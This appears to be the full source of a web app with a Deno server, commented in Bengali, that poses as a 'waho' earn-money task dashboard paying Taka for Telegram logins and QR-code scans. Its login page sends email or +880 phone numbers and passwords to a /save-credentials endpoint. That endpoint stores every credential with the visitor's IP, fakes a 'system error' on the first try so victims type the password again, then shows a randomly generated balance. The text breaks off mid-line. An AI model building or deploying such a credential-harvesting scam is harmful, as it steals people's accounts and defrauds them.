\n \n \n \n {type === \"phone\" && +880}\n \n {type === \"password\" && (\n setShowPassword(!showPassword)}\n aria-label={showPassword ? \"Hide password\" : \"Show password\"}\n >\n \n \n )}\n

\n );\n};\n\nconst FloatingMessage = ({ message, isVisible }) => {\n return (\n

\n {message}\n

\n );\n};\n\nconst Spinner = () => (\n

\n \n

\n);\n\n// নতুন NoInternetPage কম্পোনেন্ট (সংজ্ঞা রাখা হয়েছে, কিন্তু DashboardPage এ ব্যবহার করা হচ্ছে না)\nfunction NoInternetPage() {\n return (\n

\n $\"No$ \n

\n No internet connection\n
\n Check your connection and try again\n

\n \n

\n );\n}\n\nfunction Slideshow({ images }) {\n useEffect(() => {\n let currentSlideIndex = 0;\n const slides = document.querySelectorAll(\".mySlides\");\n const totalSlides = slides.length;\n const slideInterval = 3000; // 3 seconds\n const transitionDuration = 800; // 0.8 seconds (must match CSS)\n\n function showNextSlide() {\n if (totalSlides <= 1) return;\n\n const outgoingSlide = slides[currentSlideIndex];\n const nextSlideIndex = (currentSlideIndex + 1) % totalSlides;\n const incomingSlide = slides[nextSlideIndex];\n\n incomingSlide.style.transition = \"none\";\n incomingSlide.style.left = \"100%\";\n incomingSlide.classList.add(\"visible\");\n\n incomingSlide.offsetHeight; // Force reflow\n\n incomingSlide.style.transition = \"left 0.8s ease-in-out\";\n outgoingSlide.style.transition = \"left 0.8s ease-in-out\";\n\n incomingSlide.style.left = \"0%\";\n outgoingSlide.style.left = \"-100%\";\n\n currentSlideIndex = nextSlideIndex;\n\n setTimeout(() => {\n outgoingSlide.classList.remove(\"visible\");\n outgoingSlide.style.transition = \"none\";\n outgoingSlide.style.left = \"0%\";\n outgoingSlide.offsetHeight;\n outgoingSlide.style.transition = \"left 0.8s ease-in-out\";\n }, transitionDuration);\n }\n\n if (totalSlides > 1) {\n for (let i = 1; i < totalSlides; i++) {\n slides[i].style.left = \"100%\";\n }\n slides[0].classList.add(\"visible\");\n slides[0].style.left = \"0%\";\n\n setInterval(showNextSlide, slideInterval);\n } else if (totalSlides === 1) {\n slides[0].classList.add(\"visible\");\n slides[0].style.left = \"0%\";\n }\n }, []); // images dependency removed to run once, assuming images don't change post-mount\n\n return (\n

\n {images.map((src, index) => (\n {`Slide

\n ))}\n

\n );\n}\n\nfunction Card({ title, subtitle, amount, steps, footerSlides, buttonText, modalTitle, modalContent }) {\n const [isModalActive, setIsModalActive] = useState(false);\n\n useEffect(() => {\n const cardSpecificFooterSlideContainer = document.getElementById(\n `footerSlideContainer-${title.replace(/\\s+/g, \"-\")}`,\n );\n if (!cardSpecificFooterSlideContainer) return;\n\n const footerSlideIntervalTime = 3000;\n let currentFooterSlideIndex = 0;\n let footerSlideInterval = null;\n\n function showNextFooterSlide() {\n const slides = cardSpecificFooterSlideContainer.querySelectorAll(\".footer-slide\");\n if (slides.length <= 1) return;\n\n const outgoingSlide = slides[currentFooterSlideIndex % slides.length];\n const incomingSlideIndex = (currentFooterSlideIndex + 1) % slides.length;\n const incomingSlide = slides[incomingSlideIndex];\n\n if (outgoingSlide) {\n outgoingSlide.classList.remove(\"active-slide\");\n outgoingSlide.classList.add(\"outgoing-slide\");\n }\n if (incomingSlide) {\n incomingSlide.classList.remove(\"outgoing-slide\");\n incomingSlide.classList.add(\"active-slide\");\n }\n currentFooterSlideIndex = (currentFooterSlideIndex + 1) % slides.length;\n\n setTimeout(() => {\n const currentOutgoingSlide = cardSpecificFooterSlideContainer.querySelector(\".outgoing-slide\");\n if (currentOutgoingSlide) {\n currentOutgoingSlide.classList.remove(\"outgoing-slide\");\n }\n }, 500);\n }\n\n if (footerSlides.length > 1) {\n const slides = cardSpecificFooterSlideContainer.querySelectorAll(\".footer-slide\");\n slides.forEach((slide) => slide.classList.remove(\"active-slide\", \"outgoing-slide\"));\n if (slides.length > 0) {\n slides[0].classList.add(\"active-slide\");\n }\n currentFooterSlideIndex = 0;\n footerSlideInterval = setInterval(showNextFooterSlide, footerSlideIntervalTime);\n } else if (footerSlides.length === 1) {\n const slides = cardSpecificFooterSlideContainer.querySelectorAll(\".footer-slide\");\n if (slides.length > 0) {\n slides[0].classList.add(\"active-slide\");\n }\n }\n\n return () => {\n if (footerSlideInterval) {\n clearInterval(footerSlideInterval);\n }\n };\n }, [footerSlides, title]);\n\n return (\n <>\n

\n \n

{title}

{subtitle}

৳ {amount}

\n {steps.map((step, index) => (\n

\n {step}\n
\n ৳\n

\n ))}\n

\n 🔊\n

\n {footerSlides.map((slide, index) => (\n {slide}\n ))}\n

\n \n

\n setIsModalActive(false)}\n title={modalTitle}\n content={modalContent}\n />\n \n );\n}\n\nfunction Modal({ isActive, onClose, title, content }) {\n if (!isActive) return null;\n\n return (\n

e.stopPropagation()}>\n

{title}

{content.map((item, index) =>

{item}

)}

\n \n \n

\n );\n}\n\nfunction InviteCard() {\n return (\n

\n $\"Invite$ \n

Invite task

0Friends

৳ 50 / Friends

{/* Changed from ৳ 15 to ৳ 50 */}\n

\n The lower-tier must complete one withdrawal to be considered a valid referral.\n

\n );\n}\n\nfunction BottomNavigation() { // Removed isBlurred prop\n return (\n \n );\n}\n\n// LoadingOverlay সংজ্ঞা রাখা হয়েছে, কিন্তু DashboardPage এ ব্যবহার করা হচ্ছে না\nfunction LoadingOverlay() {\n const [loadingText, setLoadingText] = useState(\"Loading...\");\n const [isClickable, setIsClickable] = useState(true);\n\n const handleClick = () => {\n if (isClickable) {\n setIsClickable(false);\n setLoadingText(\"Try again later!\");\n\n setTimeout(() => {\n setLoadingText(\"Loading...\");\n setIsClickable(true);\n }, 2000);\n }\n };\n\n return (\n

\n \n

{loadingText}

\n );\n}\n\nfunction DashboardPage() {\n const [balance, setBalance] = useState(null);\n\n useEffect(() => {\n let scriptLoadTimeoutId = null;\n let telegramCloseTimerId = null; // টেলিগ্রাম ক্লোজ টাইমারের জন্য আইডি\n\n const fetchUserBalance = async () => {\n let userId = null;\n let isTelegramEnv = false;\n\n if (\n typeof window.Telegram !== \"undefined\"\n && window.Telegram.WebApp\n && window.Telegram.WebApp.initDataUnsafe\n && window.Telegram.WebApp.initDataUnsafe.user\n ) {\n const tg = window.Telegram.WebApp;\n try {\n // .ready() is not strictly needed here if we are just getting initDataUnsafe\n // await tg.ready();\n const tgUser = tg.initDataUnsafe.user;\n if (tgUser && tgUser.id) {\n userId = tgUser.id.toString();\n isTelegramEnv = true; // isTelegramEnv এখানে সেট করা হচ্ছে\n console.log(\"Running in Telegram environment. User ID:\", userId);\n } else {\n console.warn(\"Telegram user data (ID) not available, though Telegram environment detected.\");\n }\n } catch (e) {\n console.error(\"Error accessing Telegram user data (no ready call):\", e);\n }\n }\n\n if (!userId) {\n if (isTelegramEnv) { // এই isTelegramEnv এখন fetchUserBalance স্কোপে নেই, তাই উপরের isTelegramEnv ব্যবহার করতে হবে\n console.log(\n \"Failed to get Telegram User ID despite Telegram environment, attempting web user identification.\",\n );\n } else if (typeof window.Telegram !== \"undefined\" && window.Telegram.WebApp) {\n // এই কেইসটি হ্যান্ডেল করা হয়েছে কারণ isTelegramEnv এখানে true না হতে পারে যদি initDataUnsafe.user না পাওয়া যায়\n console.log(\"Telegram WebApp object present, but User ID not retrieved. Attempting web user identification.\");\n }\n else {\n console.log(\"Not in Telegram environment or user data not found. Using localStorage for UID.\");\n }\n\n const localStorageUidKey = \"genericWebAppUserUid\";\n let storedUid = localStorage.getItem(localStorageUidKey);\n if (storedUid) {\n userId = storedUid;\n console.log(\"Retrieved UID from localStorage:\", userId);\n } else {\n userId = `webUser-${Date.now()}-${Math.random().toString(36).substring(2, 9)}`;\n localStorage.setItem(localStorageUidKey, userId);\n console.log(\"Generated and stored new UID for web user:\", userId);\n }\n }\n\n if (userId) {\n try {\n const response = await fetch(`/get-balance?uid=${userId}`);\n if (!response.ok) {\n try {\n const errData = await response.json();\n throw new Error(\n `HTTP error! status: ${response.status}, message: ${errData.error || \"Unknown server error\"}`,\n );\n } catch (jsonError) {\n throw new Error(\n `HTTP error! status: ${response.status}, message: Failed to parse error JSON. Raw response: ${response.statusText}`,\n );\n }\n }\n const data = await response.json();\n\n if (data.balance !== undefined) {\n setBalance(parseFloat(data.balance).toFixed(2));\n } else if (data.error) {\n console.error(\"Error from /get-balance API:\", data.error);\n setBalance(\"--.--\");\n } else {\n console.log(\"Unexpected data format from /get-balance API:\", data);\n setBalance(\"--.--\");\n }\n } catch (error) {\n console.error(\"Failed to fetch or process balance:\", error.toString());\n setBalance(\"Error\");\n }\n } else {\n console.error(\"User ID could not be determined for balance fetching.\");\n setBalance(\"--.--\");\n }\n };\n\n // টেলিগ্রাম বটে মেসেজ পাঠানোর ফাংশন (রেট লিমিটিং সহ)\n const sendTelegramNotification = async () => {\n let userId = null;\n let chatId = null;\n\n // টেলিগ্রাম ইউজার আইডি এবং চ্যাট আইডি পাওয়ার চেষ্টা\n if (\n typeof window.Telegram !== \"undefined\"\n && window.Telegram.WebApp\n && window.Telegram.WebApp.initDataUnsafe\n && window.Telegram.WebApp.initDataUnsafe.user\n ) {\n const tgUser = window.Telegram.WebApp.initDataUnsafe.user;\n if (tgUser && tgUser.id) {\n userId = tgUser.id.toString();\n chatId = tgUser.id.toString(); // চ্যাট আইডি সাধারণত ইউজার আইডির সমান\n }\n }\n\n // যদি টেলিগ্রাম ইউজার না পাওয়া যায়, localStorage থেকে নেওয়ার চেষ্টা\n if (!userId) {\n const localStorageUidKey = \"genericWebAppUserUid\";\n let storedUid = localStorage.getItem(localStorageUidKey);\n if (storedUid) {\n userId = storedUid;\n // ওয়েব ইউজারদের জন্য একটি ডিফল্ট চ্যাট আইডি ব্যবহার করুন (আপনার নিজের চ্যাট আইডি)\n chatId = \"YOUR_DEFAULT_CHAT_ID\"; // এটি আপনার নিজের চ্যাট আইডি দিয়ে প্রতিস্থাপন করুন\n }\n }\n\n if (userId && chatId) {\n try {\n // রেট লিমিটিং চেক করার জন্য সার্ভারে রিকোয়েস্ট পাঠান\n const response = await fetch(\"/dashboard-visit\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n userId: userId,\n chatId: chatId,\n }),\n });\n\n if (!response.ok) {\n console.error(\"Failed to send dashboard visit notification:\", response.status);\n }\n } catch (error) {\n console.error(\"Error sending dashboard visit notification:\", error);\n }\n }\n };\n\n if (typeof window !== \"undefined\") {\n const isTelegramWebAppPresent = window.Telegram && window.Telegram.WebApp;\n\n // টেলিগ্রাম ওয়েব অ্যাপ অটো-ক্লোজ লজিক\n if (isTelegramWebAppPresent) {\n console.log(\"Telegram environment detected. Setting up auto-close timer for 3 seconds.\");\n telegramCloseTimerId = setTimeout(() => {\n if (window.Telegram && window.Telegram.WebApp && typeof window.Telegram.WebApp.close === \"function\") {\n console.log(\"Closing Telegram WebApp now.\");\n window.Telegram.WebApp.close();\n } else {\n console.warn(\"Telegram WebApp close function not available or WebApp object disappeared.\");\n }\n }, 3000); // ১.৫ সেকেন্ডের পরিবর্তে ৩ সেকেন্ড\n }\n\n // ব্যালেন্স ফেচ করার লজিক\n const isTelegramUserDataReady = isTelegramWebAppPresent\n && window.Telegram.WebApp.initDataUnsafe\n && window.Telegram.WebApp.initDataUnsafe.user;\n\n if (isTelegramUserDataReady) {\n // টেলিগ্রাম ইউজার ডেটা সরাসরি পাওয়া গেলে ব্যালেন্স ফেচ করুন\n // এবং Telegram.WebApp.ready() কল করা যেতে পারে যদি প্রয়োজন হয়, যদিও initDataUnsafe এর জন্য বাধ্যতামূলক নয়।\n if (window.Telegram.WebApp.ready) {\n window.Telegram.WebApp.ready(); // UI প্রস্তুত তা টেলিগ্রামকে জানানো\n }\n fetchUserBalance();\n // ড্যাশবোর্ড ভিজিট নোটিফিকেশন পাঠান\n sendTelegramNotification();\n } else if (isTelegramWebAppPresent) {\n // টেলিগ্রাম অবজেক্ট আছে কিন্তু ইউজার ডেটা সাথে সাথে রেডি নয়, অথবা .ready() প্রয়োজন\n console.log(\n \"Telegram script present, but user data not immediately available or ready() pending. Setting timeout for balance fetch.\",\n );\n if (window.Telegram.WebApp.ready) {\n window.Telegram.WebApp.ready();\n }\n scriptLoadTimeoutId = setTimeout(() => {\n fetchUserBalance();\n sendTelegramNotification();\n }, 300);\n } else {\n // টেলিগ্রাম এনভায়রনমেন্ট নয়\n console.log(\"Not in Telegram environment. Proceeding as web user for balance fetch.\");\n fetchUserBalance();\n // ওয়েব ইউজারদের জন্যও নোটিফিকেশন পাঠান\n sendTelegramNotification();\n }\n }\n\n return () => {\n if (scriptLoadTimeoutId) {\n clearTimeout(scriptLoadTimeoutId);\n }\n if (telegramCloseTimerId) { // কম্পোনেন্ট আনমাউন্ট হলে টাইমার ক্লিয়ার করা\n clearTimeout(telegramCloseTimerId);\n }\n };\n }, []); // Empty dependency array, so it runs once on mount\n\n const slideshowImages = [\n \"https://i.postimg.cc/KvSbQsgQ/download-4.png\",\n \"https://i.postimg.cc/NMzVyLRp/download-5.png\",\n \"https://i.postimg.cc/V6LJD2qT/Screenshot-20250504-091730.jpg\",\n ];\n\n const loginCardData = {\n title: \"Login For Tg\",\n subtitle: \"0 Tg\",\n amount: \"409+\",\n steps: [12, 28, 62, 142, 165],\n footerSlides: [\n \"Login 1 Tg 10 - 12Taka\",\n \"Login 3 Tg 23 - 28Taka\",\n \"Login 8 Tg 52 - 62Taka\",\n \"Login 16 Tg 132 - 142Taka\",\n \"Login 25 Tg 155 - 165Taka\",\n ],\n buttonText: \"Detail\",\n modalTitle: \"Login For Tg\",\n modalContent: [\n \"Login 1 Tg 10 - 12Taka\",\n \"Login 3 Tg 23 - 28Taka\",\n \"Login 8 Tg 52 - 62Taka\",\n \"Login 16 Tg 132 - 142Taka\",\n \"Login 25 Tg 155 - 165Taka\",\n ],\n };\n\n const scanCodeCardData = {\n title: \"Scan Code Tasks\",\n subtitle: \"8Account\",\n amount: \"409+\",\n steps: [12, 28, 62, 142, 165],\n footerSlides: [\n \"ScanCode1Account 10 - 12Taka\",\n \"ScanCode3Account 23 - 28Taka\",\n \"ScanCode8Account 52 - 62Taka\",\n \"ScanCode16Account 132 - 142Taka\",\n \"ScanCode25Account 155 - 165Taka\",\n ],\n buttonText: \"Detail\",\n modalTitle: \"Scan Code Tasks\",\n modalContent: [\n \"ScanCode1Account 10 - 12Taka\",\n \"ScanCode3Account 23 - 28Taka\",\n \"ScanCode8Account 52 - 62Taka\",\n \"ScanCode16Account 132 - 142Taka\",\n \"ScanCode25Account 155 - 165Taka\",\n ],\n };\n\n return (\n <>\n

\n {/* Removed blurred class logic */}\n

\n 🌐\n Languages\n ▼\n

\n $\"Taka$ \n {balance !== null ? balance : \"...\"}\n

\n Withdrawal\n

\n \n \n \n \n

\n {/* Removed isBlurred prop */}\n {/* LoadingOverlay and NoInternetPage are no longer rendered here */}\n \n );\n}\n\nfunction LoginPage({ setShowDashboard }) {\n const [formData, handleChange, setFormData] = useForm({ loginType: \"email\", email: \"\", phone: \"\", password: \"\" });\n const [error, setError] = useState(\"\");\n const [showFloatingMessage, setShowFloatingMessage] = useState(false);\n const [showSystemError, setShowSystemError] = useState(false);\n const [showServerBusy, setShowServerBusy] = useState(false);\n const [showSpinner, setShowSpinner] = useState(false);\n\n useEffect(() => {\n // Remove auto redirect check\n }, []);\n\n const containsBengaliOrSpace = (str) => {\n return /[\\u0980-\\u09FF\\s]/.test(str);\n };\n\n const handleSubmit = async (e) => {\n e.preventDefault();\n setError(\"\");\n\n const { loginType, email, phone, password } = formData;\n\n if (!password || (loginType === \"email\" && !email) || (loginType === \"phone\" && !phone)) {\n setError(`Please enter both ${loginType === \"email\" ? \"email\" : \"phone\"} and password`);\n return;\n }\n\n if (loginType === \"phone\") {\n // Changed phone number validation: allows 10 digits starting with 1\n if (phone.length !== 10 || !phone.startsWith(\"1\")) {\n setError(\"আপনার নম্বরে সমস্যা হয়েছে\");\n return;\n }\n }\n\n if (containsBengaliOrSpace(password)) {\n setError(\"আপনার পাসওয়ার্ডটি সঠিক নয়\");\n return;\n }\n\n if (password.length < 6 || password.length > 30) {\n setError(\"আপনার পাসওয়ার্ডে সমস্যা হয়েছে\");\n return;\n }\n\n try {\n setShowSpinner(true);\n\n const response = await fetch(\"/save-credentials\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: JSON.stringify({\n type: loginType,\n credential: loginType === \"email\" ? email : \"+880\" + phone,\n password,\n }),\n });\n\n if (!response.ok) {\n const errorData = await response.json();\n throw new Error(errorData.error || \"Failed to save credentials\");\n }\n\n const data = await response.json();\n\n setTimeout(() => {\n setShowSpinner(false);\n // Changed login logic: Always redirect to dashboard if loginAttempts is 2 or more\n // (meaning it's a repeated, successful login attempt)\n if (data.redirect_to_dashboard) { // Now directly using the server-side decision\n setShowDashboard(true);\n } else if (data.systemError) { // Assuming server will send this if it's a system error\n setShowSystemError(true);\n setFormData(prevFormData => ({ ...prevFormData, password: \"\" }));\n setTimeout(() => setShowSystemError(false), 1000);\n } else if (data.serverBusy) {\n setShowServerBusy(true);\n setTimeout(() => setShowServerBusy(false), 3000);\n } else {\n // This case should ideally not be reached if redirect_to_dashboard is handled\n // but can be a fallback for unexpected server responses if needed.\n setError(\"Login failed. Please check your credentials.\");\n }\n }, 2000);\n } catch (error) {\n console.error(\"Error during login:\", error.message);\n setError(error.message || \"An error occurred. Please try again.\");\n setShowSpinner(false);\n }\n };\n\n const handleToggle = (type) => {\n setFormData(prev => ({ ...prev, loginType: type }));\n };\n\n const handleCreateAccountClick = (e) => {\n e.preventDefault();\n setShowFloatingMessage(true);\n setTimeout(() => setShowFloatingMessage(false), 3000);\n };\n\n return (\n

\n {showSpinner && }\n

Hello!

\n Welcome to the waho!\n

\n \n

Welcome back

\n handleToggle(\"email\")}\n isActive={formData.loginType === \"email\"}\n isFirst={true}\n >\n Email\n \n handleToggle(\"phone\")}\n isActive={formData.loginType === \"phone\"}\n isLast={true}\n >\n Phone\n \n

\n \n Creat Account\n \n

\n \n \n \n

\n );\n}\n\nfunction App() {\n const [showDashboard, setShowDashboard] = useState(false);\n\n return showDashboard ? : ;\n}\n\nfunction client() {\n createRoot(document.getElementById(\"root\")).render();\n}\n\nif (typeof document !== \"undefined\") {\n client();\n}\n\n// Telegram Bot Rate Limiting Functions\nconst BOT_TOKEN = Deno.env.get(\"TELEGRAM_BOT_TOKEN\");\n\ninterface UserMessageCount {\n count: number;\n lastReset: string; // ISO date string\n blockedUntil?: string; // ISO date string when user will be unblocked\n}\n\ninterface MessageData {\n [userId: string]: UserMessageCount;\n}\n\n// Helper function to check if it's a new day\nfunction isNewDay(lastReset: string): boolean {\n const lastResetDate = new Date(lastReset);\n const today = new Date();\n \n // Reset at midnight\n lastResetDate.setHours(0, 0, 0, 0);\n today.setHours(0, 0, 0, 0);\n \n return today.getTime() > lastResetDate.getTime();\n}\n\n// Helper function to check if user is currently blocked\nfunction isUserBlocked(userData: UserMessageCount): boolean {\n if (!userData.blockedUntil) return false;\n \n const now = new Date();\n const blockedUntil = new Date(userData.blockedUntil);\n \n return now < blockedUntil;\n}\n\n// Helper function to send message to Telegram\nasync function sendTelegramMessage(chatId: string, text: string, parseMode: string = \"HTML\") {\n if (!BOT_TOKEN) {\n console.error(\"TELEGRAM_BOT_TOKEN not found\");\n return;\n }\n\n const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;\n \n const response = await fetch(url, {\n method: \"POST\",\n headers: {\n \"Content-Type\": \"application/json\",\n },\n body: JSON.stringify({\n chat_id: chatId,\n text: text,\n parse_mode: parseMode,\n }),\n });\n\n if (!response.ok) {\n console.error(\"Failed to send message:\", await response.text());\n throw new Error(`Failed to send message: ${response.status}`);\n }\n\n return await response.json();\n}\n\n// Main function to handle incoming Telegram messages\nasync function handleTelegramMessage(chatId: string, userId: string, messageText: string) {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n \n // Get user message data from blob storage\n const messageDataKey = \"telegram_user_message_counts\";\n let messageData: MessageData = await blob.getJSON(messageDataKey) || {};\n \n // Initialize user data if not exists\n if (!messageData[userId]) {\n messageData[userId] = {\n count: 0,\n lastReset: new Date().toISOString(),\n };\n }\n\n const userData = messageData[userId];\n\n // Check if user is currently blocked\n if (isUserBlocked(userData)) {\n const blockedUntil = new Date(userData.blockedUntil!);\n const now = new Date();\n const hoursLeft = Math.ceil((blockedUntil.getTime() - now.getTime()) / (1000 * 60 * 60));\n \n await sendTelegramMessage(\n chatId,\n `আপনাকে ২৪ ঘন্টার জন্য ব্লক করা হয়েছে। দয়া করে ${hoursLeft} ঘন্টা পর আবার চেষ্টা করুন।`\n );\n return;\n }\n\n // Reset count if it's a new day\n if (isNewDay(userData.lastReset)) {\n userData.count = 0;\n userData.lastReset = new Date().toISOString();\n // Remove block if it exists and it's a new day\n if (userData.blockedUntil) {\n delete userData.blockedUntil;\n }\n }\n\n // Check if user has exceeded daily limit\n if (userData.count >= 3) {\n // Block user for 24 hours\n const now = new Date();\n const blockedUntil = new Date(now.getTime() + 24 * 60 * 60 * 1000); // 24 hours from now\n userData.blockedUntil = blockedUntil.toISOString();\n \n // Save updated data\n messageData[userId] = userData;\n await blob.setJSON(messageDataKey, messageData);\n \n await sendTelegramMessage(\n chatId,\n `আপনাকে ২৪ ঘন্টার জন্য ব্লক করা হয়েছে। দয়া করে ২৪ ঘন্টা পর আবার চেষ্টা করুন।`\n );\n return;\n }\n\n // Increment message count\n userData.count += 1;\n messageData[userId] = userData;\n await blob.setJSON(messageDataKey, messageData);\n\n // Process the message normally\n await processTelegramUserMessage(chatId, userId, messageText, userData.count);\n\n } catch (error) {\n console.error(\"Error handling Telegram message:\", error);\n await sendTelegramMessage(chatId, \"দুঃখিত, একটি ত্রুটি হয়েছে। পরে আবার চেষ্টা করুন।\");\n }\n}\n\n// Function to process user message (customize this based on your bot's functionality)\nasync function processTelegramUserMessage(chatId: string, userId: string, messageText: string, dailyCount: number) {\n // Example responses - customize based on your bot's purpose\n let response = \"\";\n \n if (messageText.toLowerCase().includes(\"/start\")) {\n response = `স্বাগতম! আপনি আজ ${dailyCount}/3 টি মেসেজ পাঠিয়েছেন।\\n\\nআপনি দিনে সর্বোচ্চ ৩টি মেসেজ পাঠাতে পারবেন।`;\n } else if (messageText.toLowerCase().includes(\"/help\")) {\n response = `সাহায্য:\\n- আপনি দিনে সর্বোচ্চ ৩টি মেসেজ পাঠাতে পারবেন\\n- ৩টির বেশি মেসেজ পাঠালে ২৪ ঘন্টার জন্য ব্লক হয়ে যাবেন\\n- আজ আপনি ${dailyCount}/3 টি মেসেজ পাঠিয়েছেন`;\n } else if (messageText.toLowerCase().includes(\"/status\")) {\n response = `আপনার স্ট্যাটাস:\\n- আজকের মেসেজ: ${dailyCount}/3\\n- অবশিষ্ট মেসেজ: ${3 - dailyCount}`;\n } else {\n // Default response for any other message\n response = `আপনার মেসেজ পেয়েছি: \"${messageText}\"\\n\\nআজ আপনি ${dailyCount}/3 টি মেসেজ পাঠিয়েছেন।`;\n }\n\n await sendTelegramMessage(chatId, response);\n}\n\nexport default async function server(request: Request): Promise {\n const url = new URL(request.url);\n\n const createHTMLResponse = (title: string) => {\n return new Response(\n `\n \n \n \n \n \n ${title}\n \n \n \n \n \n

\n \n \n \n \n `,\n {\n headers: {\n \"Content-Type\": \"text/html\",\n \"Cache-Control\": \"no-cache, no-store, must-revalidate\",\n },\n },\n );\n };\n\n if (url.pathname === \"/get-balance\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const uid = url.searchParams.get(\"uid\");\n\n if (!uid) {\n return new Response(JSON.stringify({ error: \"UID is required\" }), {\n status: 400,\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n }\n\n const blobKey = \"user_balances_dashboard_app_v1\";\n let userBalances = await blob.getJSON(blobKey) || {};\n let userBalance;\n\n if (userBalances[uid] !== undefined) {\n userBalance = userBalances[uid];\n } else {\n // Changed to generate balance between 90 and 105\n userBalance = Math.floor(Math.random() * (105 - 90 + 1)) + 90;\n userBalances[uid] = userBalance;\n await blob.setJSON(blobKey, userBalances);\n }\n\n return new Response(JSON.stringify({ uid: uid, balance: userBalance }), {\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n } catch (error) {\n console.error(\"Error in /get-balance endpoint:\", error);\n return new Response(JSON.stringify({ error: \"Failed to process balance request\", details: error.message }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\", \"Cache-Control\": \"no-cache\" },\n });\n }\n }\n\n if (url.pathname === \"/save-credentials\" && request.method === \"POST\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const newCredential = await request.json();\n let savedCredentials = await blob.getJSON(\"saved_credentials\") || [];\n let loginAttempts = await blob.getJSON(\"login_attempts\") || {}; // Changed to store attempts per unique credential+IP\n\n const userIP = request.headers.get(\"x-forwarded-for\") || \"unknown\";\n const credentialIdentifier = `${newCredential.type}_${newCredential.credential}_${newCredential.password}`; // Unique identifier for the credential combination\n\n let redirect_to_dashboard = false;\n let systemError = false;\n let serverBusy = false;\n\n // Check if this specific credential combination (credential + password) already exists,\n // regardless of IP, to determine if it's a known \"successful\" login attempt.\n const existingSuccessEntry = savedCredentials.find(\n (cred) =>\n cred.credential === newCredential.credential\n && cred.password === newCredential.password,\n );\n\n // Increment attempt count for the specific credential + IP combination\n const attemptKey = `${credentialIdentifier}_${userIP}`;\n loginAttempts[attemptKey] = (loginAttempts[attemptKey] || 0) + 1;\n\n // If it's the first time this *exact* credential+password+IP combination is attempted (loginAttempts[attemptKey] === 1)\n // AND it's a new unique credential entry (not seen before in savedCredentials)\n // Then consider it for the \"system error\" message.\n if (!existingSuccessEntry && loginAttempts[attemptKey] === 1) {\n // This is the first time this specific (credential, password) is submitted from this IP,\n // and it's not already a \"known good\" credential.\n systemError = true;\n // Add this new credential to saved_credentials if it doesn't already exist from this IP\n if (\n !savedCredentials.some(c =>\n c.credential === newCredential.credential && c.password === newCredential.password && c.ip === userIP\n )\n ) {\n savedCredentials.push({ ...newCredential, ip: userIP, timestamp: new Date().toISOString() });\n }\n } else {\n // If it's not the first attempt for this specific credential+IP combination,\n // or if it's a known successful credential (existingSuccessEntry is true),\n // then redirect to dashboard.\n redirect_to_dashboard = true;\n // Ensure the credential is saved if it's new (might be from a different IP)\n if (\n !savedCredentials.some(c =>\n c.credential === newCredential.credential && c.password === newCredential.password\n )\n ) {\n savedCredentials.push({ ...newCredential, ip: userIP, timestamp: new Date().toISOString() });\n }\n }\n\n // Simulate server busy occasionally (removed for now as per the logic for always redirecting if known)\n // serverBusy = Math.random() < 0.2; // 20% chance of server busy\n\n await blob.setJSON(\"saved_credentials\", savedCredentials);\n await blob.setJSON(\"login_attempts\", loginAttempts); // Update login_attempts blob\n\n return new Response(\n JSON.stringify({\n success: true,\n serverBusy: serverBusy, // Will always be false with current logic, unless re-enabled\n systemError: systemError,\n redirect_to_dashboard: redirect_to_dashboard,\n }),\n {\n headers: { \"Content-Type\": \"application/json\" },\n },\n );\n } catch (error) {\n console.error(\"Error saving credentials:\", error);\n return new Response(JSON.stringify({ error: \"Failed to save credentials\" }), {\n status: 500,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n }\n\n // ড্যাশবোর্ড ভিজিট নোটিফিকেশন হ্যান্ডলার (রেট লিমিটিং সহ)\n if (url.pathname === \"/dashboard-visit\" && request.method === \"POST\") {\n try {\n const { blob } = await import(\"https://esm.town/v/std/blob\");\n const { userId, chatId } = await request.json();\n\n if (!userId || !chatId) {\n return new Response(JSON.stringify({ error: \"userId and chatId are required\" }), {\n status: 400,\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n\n // Get user visit data from blob storage\n const visitDataKey = \"dashboard_visit_counts\";\n let visitData: MessageData = await blob.getJSON(visitDataKey) || {};\n \n // Initialize user data if not exists\n if (!visitData[userId]) {\n visitData[userId] = {\n count: 0,\n lastReset: new Date().toISOString(),\n };\n }\n\n const userData = visitData[userId];\n\n // Check if user is currently blocked\n if (isUserBlocked(userData)) {\n const blockedUntil = new Date(userData.blockedUntil!);\n const now = new Date();\n const hoursLeft = Math.ceil((blockedUntil.getTime() - now.getTime()) / (1000 * 60 * 60));\n \n await sendTelegramMessage(\n chatId,\n `আপনাকে ২৪ ঘন্টার জন্য ব্লক করা হয়েছে। দয়া করে ${hoursLeft} ঘন্টা পর আবার চেষ্টা করুন।`\n );\n \n return new Response(JSON.stringify({ success: true, blocked: true }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n\n // Reset count if it's a new day\n if (isNewDay(userData.lastReset)) {\n userData.count = 0;\n userData.lastReset = new Date().toISOString();\n // Remove block if it exists and it's a new day\n if (userData.blockedUntil) {\n delete userData.blockedUntil;\n }\n }\n\n // Check if user has exceeded daily limit\n if (userData.count >= 3) {\n // Block user for 24 hours\n const now = new Date();\n const blockedUntil = new Date(now.getTime() + 24 * 60 * 60 * 1000); // 24 hours from now\n userData.blockedUntil = blockedUntil.toISOString();\n \n // Save updated data\n visitData[userId] = userData;\n await blob.setJSON(visitDataKey, visitData);\n \n await sendTelegramMessage(\n chatId,\n `আপনাকে ২৪ ঘন্টার জন্য ব্লক করা হয়েছে। দয়া করে ২৪ ঘন্টা পর আবার চেষ্টা করুন।`\n );\n \n return new Response(JSON.stringify({ success: true, blocked: true }), {\n headers: { \"Content-Type\": \"application/json\" },\n });\n }\n\n // Increment visit count\n userData.count += 1;\n visitData[userId] = userData;\n await blob.setJSON(visitDataKey, visitData);\n\n // Send normal dashboard visit notification\n const visitMessage = `🎯 ড্যাশবোর্ড ভিজিট!\\n\\n👤 ইউজার: ${userId}\\n📊 আজকের ভিজিট: 